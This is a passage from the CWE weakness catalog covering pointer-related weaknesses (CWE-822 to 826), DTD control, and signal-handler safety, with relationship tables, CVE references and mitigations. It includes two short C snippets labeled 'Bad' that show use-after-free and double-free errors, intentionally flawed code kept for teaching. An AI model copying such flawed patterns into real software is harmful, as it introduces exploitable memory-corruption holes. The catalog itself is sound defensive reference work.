ParentOf		574	EJB Bad Practices: Use of Synchronization Primitives	1224
ParentOf		1088	Synchronous Access of Remote Resource without Timeout	1788
ParentOf		1264	Hardware Logic with Insecure De-Synchronization between Control and Data Channels	1924


*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		557	Concurrency Issues	2122

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	
Other	Alter Execution Logic	

### Notes

#### Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

## CWE-822: Untrusted Pointer Dereference

**Weakness ID :** 822

**Structure :** Simple

**Abstraction :** Base

### Description

The product obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.

### Extended Description

An attacker can supply a pointer for memory locations that the product is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a variable to an unexpected value (since the value will be read from an unexpected memory location).

There are several variants of this weakness, including but not necessarily limited to:

- The untrusted value is directly invoked as a function call.
- In OS kernels or drivers where there is a boundary between "userland" and privileged memory spaces, an untrusted pointer might enter through an API or system call (see CWE-781 for one such example).
- Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
CanFollow		781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1532
CanPrecede		125	Out-of-bounds Read	316
CanPrecede		787	Out-of-bounds Write	1547

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		465	Pointer Issues	2121

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory  <i>If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>If the untrusted pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory  <i>If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</i>	

## Observed Examples

Reference	Description
<b>CVE-2007-5655</b>	message-passing framework interprets values in packets as pointers, causing a crash.  <a href="https://www.cve.org/CVERecord?id=CVE-2007-5655">https://www.cve.org/CVERecord?id=CVE-2007-5655</a>
<b>CVE-2010-2299</b>	labeled as a "type confusion" issue, also referred to as a "stale pointer." However, the bug ID says "contents are simply interpreted as a pointer..."

Reference	Description
	renderer ordinarily doesn't supply this pointer directly". The "handle" in the untrusted area is replaced in one function, but not another - thus also, effectively, exposure to wrong sphere (CWE-668). <a href="https://www.cve.org/CVERecord?id=CVE-2010-2299">https://www.cve.org/CVERecord?id=CVE-2010-2299</a>
<b>CVE-2009-1719</b>	Untrusted dereference using undocumented constructor. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1719">https://www.cve.org/CVERecord?id=CVE-2009-1719</a>
<b>CVE-2009-1250</b>	An error code is incorrectly checked and interpreted as a pointer, leading to a crash. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1250">https://www.cve.org/CVERecord?id=CVE-2009-1250</a>
<b>CVE-2009-0311</b>	An untrusted value is obtained from a packet and directly called as a function pointer, leading to code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0311">https://www.cve.org/CVERecord?id=CVE-2009-0311</a>
<b>CVE-2010-1818</b>	Undocumented attribute in multimedia software allows "unmarshaling" of an untrusted pointer. <a href="https://www.cve.org/CVERecord?id=CVE-2010-1818">https://www.cve.org/CVERecord?id=CVE-2010-1818</a>
<b>CVE-2010-3189</b>	ActiveX control for security software accepts a parameter that is assumed to be an initialized pointer. <a href="https://www.cve.org/CVERecord?id=CVE-2010-3189">https://www.cve.org/CVERecord?id=CVE-2010-3189</a>
<b>CVE-2010-1253</b>	Spreadsheet software treats certain record values that lead to "user-controlled pointer" (might be untrusted offset, not untrusted pointer). <a href="https://www.cve.org/CVERecord?id=CVE-2010-1253">https://www.cve.org/CVERecord?id=CVE-2010-1253</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	V	884	CWE Cross-section	884	2327

### Notes

#### Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

#### Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
129	Pointer Manipulation

## CWE-823: Use of Out-of-range Pointer Offset

Weakness ID : 823

**Structure** : Simple  
**Abstraction** : Base

## Description

The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.

## Extended Description

While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array.





Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error.

If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the product. As a result, the attack might change the state of the product as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.


## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
CanFollow		129	Improper Validation of Array Index	327
CanPrecede		125	Out-of-bounds Read	316
CanPrecede		787	Out-of-bounds Write	1547

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		465	Pointer Issues	2121

## Alternate Terms

**Untrusted pointer offset** : This term is narrower than the concept of "out-of-range" offset, since the offset might be the result of a calculation or other error that does not depend on any externally-supplied values.

## Common Consequences



Scope	Impact	Likelihood
Confidentiality	Read Memory <i>If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.</i>	
Availability	DoS: Crash, Exit, or Restart <i>If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory <i>If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</i>	

### Observed Examples

Reference	Description
<b>CVE-2010-2160</b>	Invalid offset in undocumented opcode leads to memory corruption. <a href="https://www.cve.org/CVERecord?id=CVE-2010-2160">https://www.cve.org/CVERecord?id=CVE-2010-2160</a>
<b>CVE-2010-1281</b>	Multimedia player uses untrusted value from a file when using file-pointer calculations. <a href="https://www.cve.org/CVERecord?id=CVE-2010-1281">https://www.cve.org/CVERecord?id=CVE-2010-1281</a>
<b>CVE-2009-3129</b>	Spreadsheet program processes a record with an invalid size field, which is later used as an offset. <a href="https://www.cve.org/CVERecord?id=CVE-2009-3129">https://www.cve.org/CVERecord?id=CVE-2009-3129</a>
<b>CVE-2009-2694</b>	Instant messaging library does not validate an offset value specified in a packet. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2694">https://www.cve.org/CVERecord?id=CVE-2009-2694</a>
<b>CVE-2009-2687</b>	Language interpreter does not properly handle invalid offsets in JPEG image, leading to out-of-bounds memory access and crash. <a href="https://www.cve.org/CVERecord?id=CVE-2009-2687">https://www.cve.org/CVERecord?id=CVE-2009-2687</a>
<b>CVE-2009-0690</b>	negative offset leads to out-of-bounds read <a href="https://www.cve.org/CVERecord?id=CVE-2009-0690">https://www.cve.org/CVERecord?id=CVE-2009-0690</a>
<b>CVE-2008-4114</b>	untrusted offset in kernel <a href="https://www.cve.org/CVERecord?id=CVE-2008-4114">https://www.cve.org/CVERecord?id=CVE-2008-4114</a>
<b>CVE-2010-2873</b>	"blind trust" of an offset value while writing heap memory allows corruption of function pointer, leading to code execution <a href="https://www.cve.org/CVERecord?id=CVE-2010-2873">https://www.cve.org/CVERecord?id=CVE-2010-2873</a>
<b>CVE-2010-2866</b>	negative value (signed) causes pointer miscalculation <a href="https://www.cve.org/CVERecord?id=CVE-2010-2866">https://www.cve.org/CVERecord?id=CVE-2010-2866</a>
<b>CVE-2010-2872</b>	signed values cause incorrect pointer calculation <a href="https://www.cve.org/CVERecord?id=CVE-2010-2872">https://www.cve.org/CVERecord?id=CVE-2010-2872</a>
<b>CVE-2007-5657</b>	values used as pointer offsets <a href="https://www.cve.org/CVERecord?id=CVE-2007-5657">https://www.cve.org/CVERecord?id=CVE-2007-5657</a>
<b>CVE-2010-2867</b>	a return value from a function is sign-extended if the value is signed, then used as an offset for pointer arithmetic <a href="https://www.cve.org/CVERecord?id=CVE-2010-2867">https://www.cve.org/CVERecord?id=CVE-2010-2867</a>
<b>CVE-2009-1097</b>	portions of a GIF image used as offsets, causing corruption of an object pointer. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1097">https://www.cve.org/CVERecord?id=CVE-2009-1097</a>
<b>CVE-2008-1807</b>	invalid numeric field leads to a free of arbitrary memory locations, then code execution.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-1807">https://www.cve.org/CVERecord?id=CVE-2008-1807</a>
<b>CVE-2007-2500</b>	large number of elements leads to a free of an arbitrary address <a href="https://www.cve.org/CVERecord?id=CVE-2007-2500">https://www.cve.org/CVERecord?id=CVE-2007-2500</a>
<b>CVE-2008-1686</b>	array index issue (CWE-129) with negative offset, used to dereference a function pointer <a href="https://www.cve.org/CVERecord?id=CVE-2008-1686">https://www.cve.org/CVERecord?id=CVE-2008-1686</a>
<b>CVE-2010-2878</b>	"buffer seek" value - basically an offset? <a href="https://www.cve.org/CVERecord?id=CVE-2010-2878">https://www.cve.org/CVERecord?id=CVE-2010-2878</a>

## Notes

### Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

### Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
129	Pointer Manipulation

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-824: Access of Uninitialized Pointer

**Weakness ID** : 824  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product accesses or uses a pointer that has not been initialized.

### Extended Description




If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the product to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.

Depending on memory layout, associated memory management behaviors, and product operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
CanPrecede		125	Out-of-bounds Read	316
CanPrecede		787	Out-of-bounds Write	1547


*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		465	Pointer Issues	2121

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory  <i>If the uninitialized pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>If the uninitialized pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>If the uninitialized pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</i>	

### Observed Examples

Reference	Description
<b>CVE-2010-0211</b>	chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824). <a href="https://www.cve.org/CVERecord?id=CVE-2010-0211">https://www.cve.org/CVERecord?id=CVE-2010-0211</a>

Reference	Description
<b>CVE-2009-2768</b>	Pointer in structure is not initialized, leading to NULL pointer dereference (CWE-476) and system crash. <i><a href="https://www.cve.org/CVERecord?id=CVE-2009-2768">https://www.cve.org/CVERecord?id=CVE-2009-2768</a></i>
<b>CVE-2009-1721</b>	Free of an uninitialized pointer. <i><a href="https://www.cve.org/CVERecord?id=CVE-2009-1721">https://www.cve.org/CVERecord?id=CVE-2009-1721</a></i>
<b>CVE-2009-1415</b>	Improper handling of invalid signatures leads to free of invalid pointer. <i><a href="https://www.cve.org/CVERecord?id=CVE-2009-1415">https://www.cve.org/CVERecord?id=CVE-2009-1415</a></i>
<b>CVE-2009-0846</b>	Invalid encoding triggers free of uninitialized pointer. <i><a href="https://www.cve.org/CVERecord?id=CVE-2009-0846">https://www.cve.org/CVERecord?id=CVE-2009-0846</a></i>
<b>CVE-2009-0040</b>	Crafted PNG image leads to free of uninitialized pointer. <i><a href="https://www.cve.org/CVERecord?id=CVE-2009-0040">https://www.cve.org/CVERecord?id=CVE-2009-0040</a></i>
<b>CVE-2008-2934</b>	Crafted GIF image leads to free of uninitialized pointer. <i><a href="https://www.cve.org/CVERecord?id=CVE-2008-2934">https://www.cve.org/CVERecord?id=CVE-2008-2934</a></i>
<b>CVE-2007-4682</b>	Access of uninitialized pointer might lead to code execution. <i><a href="https://www.cve.org/CVERecord?id=CVE-2007-4682">https://www.cve.org/CVERecord?id=CVE-2007-4682</a></i>
<b>CVE-2007-4639</b>	Step-based manipulation: invocation of debugging function before the primary initialization function leads to access of an uninitialized pointer and code execution. <i><a href="https://www.cve.org/CVERecord?id=CVE-2007-4639">https://www.cve.org/CVERecord?id=CVE-2007-4639</a></i>
<b>CVE-2007-4000</b>	Unchecked return values can lead to a write to an uninitialized pointer. <i><a href="https://www.cve.org/CVERecord?id=CVE-2007-4000">https://www.cve.org/CVERecord?id=CVE-2007-4000</a></i>
<b>CVE-2007-2442</b>	zero-length input leads to free of uninitialized pointer. <i><a href="https://www.cve.org/CVERecord?id=CVE-2007-2442">https://www.cve.org/CVERecord?id=CVE-2007-2442</a></i>
<b>CVE-2007-1213</b>	Crafted font leads to uninitialized function pointer. <i><a href="https://www.cve.org/CVERecord?id=CVE-2007-1213">https://www.cve.org/CVERecord?id=CVE-2007-1213</a></i>
<b>CVE-2006-6143</b>	Uninitialized function pointer in freed memory is invoked <i><a href="https://www.cve.org/CVERecord?id=CVE-2006-6143">https://www.cve.org/CVERecord?id=CVE-2006-6143</a></i>
<b>CVE-2006-4175</b>	LDAP server mishandles malformed BER queries, leading to free of uninitialized memory <i><a href="https://www.cve.org/CVERecord?id=CVE-2006-4175">https://www.cve.org/CVERecord?id=CVE-2006-4175</a></i>
<b>CVE-2006-0054</b>	Firewall can crash with certain ICMP packets that trigger access of an uninitialized pointer. <i><a href="https://www.cve.org/CVERecord?id=CVE-2006-0054">https://www.cve.org/CVERecord?id=CVE-2006-0054</a></i>
<b>CVE-2003-1201</b>	LDAP server does not initialize members of structs, which leads to free of uninitialized pointer if an LDAP request fails. <i><a href="https://www.cve.org/CVERecord?id=CVE-2003-1201">https://www.cve.org/CVERecord?id=CVE-2003-1201</a></i>

## Notes

### Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

### Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-825: Expired Pointer Dereference

**Weakness ID** : 825  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.








### Extended Description

When a product releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the product to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1386
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283
ParentOf		415	Double Free	954
ParentOf		416	Use After Free	958
CanFollow		562	Return of Stack Variable Address	1204
CanPrecede		125	Out-of-bounds Read	316
CanPrecede		787	Out-of-bounds Write	1547

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		465	Pointer Issues	2121

### Alternate Terms

**Dangling pointer** :

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

Scope	Impact	Likelihood
	<i>If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>If the expired pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands  <i>If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Choose a language that provides automatic memory management.

#### Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

### Demonstrative Examples

#### Example 1:

The following code shows a simple example of a use after free error:

Example Language: C

(Bad)

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

#### Example 2:

The following code shows a simple example of a double free error:

Example Language: C

(Bad)

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

### Observed Examples

Reference	Description
<b>CVE-2008-5013</b>	access of expired memory address leads to arbitrary code execution <a href="https://www.cve.org/CVERecord?id=CVE-2008-5013">https://www.cve.org/CVERecord?id=CVE-2008-5013</a>
<b>CVE-2010-3257</b>	stale pointer issue leads to denial of service and possibly other consequences <a href="https://www.cve.org/CVERecord?id=CVE-2010-3257">https://www.cve.org/CVERecord?id=CVE-2010-3257</a>
<b>CVE-2008-0062</b>	Chain: a message having an unknown message type may cause a reference to uninitialized memory resulting in a null pointer dereference (CWE-476) or dangling pointer (CWE-825), possibly crashing the system or causing heap corruption. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0062">https://www.cve.org/CVERecord?id=CVE-2008-0062</a>
<b>CVE-2007-1211</b>	read of value at an offset into a structure after the offset is no longer valid <a href="https://www.cve.org/CVERecord?id=CVE-2007-1211">https://www.cve.org/CVERecord?id=CVE-2007-1211</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	867	2011 Top 25 - Weaknesses On the Cusp	<input type="checkbox"/>	900 2166
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	<input type="checkbox"/>	884 2327

### Notes

#### Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

#### Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

## CWE-826: Premature Release of Resource During Expected Lifetime

**Weakness ID** : 826

**Structure** : Simple

**Abstraction** : Base

### Description

The product releases a resource that is still intended to be used by itself or another actor.

### Extended Description

This weakness focuses on errors in which the product should not release a resource, but performs the release anyway. This is different than a weakness in which the product releases a resource at the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weakness, the resource should still be valid upon the subsequent access.





When a product releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.



## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		666	Operation on Resource in Wrong Phase of Lifetime	1374
CanPrecede		672	Operation on a Resource after Expiration or Release	1386

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2117
MemberOf		840	Business Logic Errors	2153

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Memory  <i>If the released resource is subsequently reused or reallocated, then a read operation on the original resource might access sensitive data that is associated with a different user or entity.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>When the resource is released, the software might modify some of its structure, or close associated channels (such as a file descriptor). When the software later accesses the resource as if it is valid, the resource might not be in an expected state, leading to resultant errors that may lead to a crash.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Application Data Modify Memory  <i>When the resource is released, the software might modify some of its structure. This might affect logic in the sections of code that still assume the resource is active. If the released resource is related to memory and is used in a function call, or points to unexpected data in a write operation, then code execution may be possible upon subsequent accesses.</i>	

## Observed Examples

Reference	Description
<b>CVE-2009-3547</b>	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference <a href="https://www.cve.org/CVERecord?id=CVE-2009-3547">https://www.cve.org/CVERecord?id=CVE-2009-3547</a>

## Notes

**Research Gap**

Under-studied and under-reported as of September 2010. This weakness has been reported in high-visibility software, although the focus has been primarily on memory allocation and de-allocation. There are very few examples of this weakness that are not directly related to memory management, although such weaknesses are likely to occur in real-world software for other types of resources.

**CWE-827: Improper Control of Document Type Definition****Weakness ID** : 827**Structure** : Simple**Abstraction** : Variant**Description**

The product does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the product to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.

**Extended Description**




As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.

For example, the SOAP specification prohibits SOAP messages from containing DTDs.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		829	Inclusion of Functionality from Untrusted Control Sphere	1621
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1439
CanPrecede		776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1521

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

**Applicable Platforms**

**Language** : XML (Prevalence = Undetermined)

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories  <i>If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.</i>	
Availability	DoS: Resource Consumption (CPU)	

Scope	Impact	Likelihood
	DoS: Resource Consumption (Memory) <i>The DTD may cause the parser to consume excessive CPU cycles or memory using techniques such as nested or recursive entity references (CWE-776).</i>	
Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Gain Privileges or Assume Identity <i>The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.</i>	

### Observed Examples

Reference	Description
<b>CVE-2010-2076</b>	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service. <a href="https://www.cve.org/CVERecord?id=CVE-2010-2076">https://www.cve.org/CVERecord?id=CVE-2010-2076</a>

### References

[REF-773]Daniel Kulp. "Apache CXF Security Advisory (CVE-2010-2076)". 2010 June 6. < <http://svn.apache.org/repos/asf/cxf/trunk/security/CVE-2010-2076.pdf> >.

## CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe

**Weakness ID** : 828

**Structure** : Simple

**Abstraction** : Base

### Description

The product defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.

### Extended Description

This can lead to an unexpected system state with a variety of potential consequences depending on context, including denial of service and code execution.

Signal handlers are typically intended to interrupt normal functionality of a program, or even other signals, in order to notify the process of an event. When a signal handler uses global or static variables, or invokes functions that ultimately depend on such state or its associated metadata, then it could corrupt system state that is being used by normal functionality. This could subject the program to race conditions or other weaknesses that allow an attacker to cause the program state to be corrupted. While denial of service is frequently the consequence, in some cases this weakness could be leveraged for code execution.

There are several different scenarios that introduce this issue:

- Invocation of non-reentrant functions from within the handler. One example is `malloc()`, which modifies internal global variables as it manages memory. Very few functions are actually reentrant.
- Code sequences (not necessarily function calls) contain non-atomic use of global variables, or associated metadata or structures, that can be accessed by other functionality of the program, including other signal handlers. Frequently, the same function is registered to handle multiple signals.

- The signal handler function is intended to run at most one time, but instead it can be invoked multiple times. This could happen by repeated delivery of the same signal, or by delivery of different signals that have the same handler function (CWE-831).



Note that in some environments or contexts, it might be possible for the signal handler to be interrupted itself.

If both a signal handler and the normal behavior of the product have to operate on the same set of state variables, and a signal is received in the middle of the normal execution's modifications of those variables, the variables may be in an incorrect or corrupt state during signal handler execution, and possibly still incorrect or corrupt upon return.

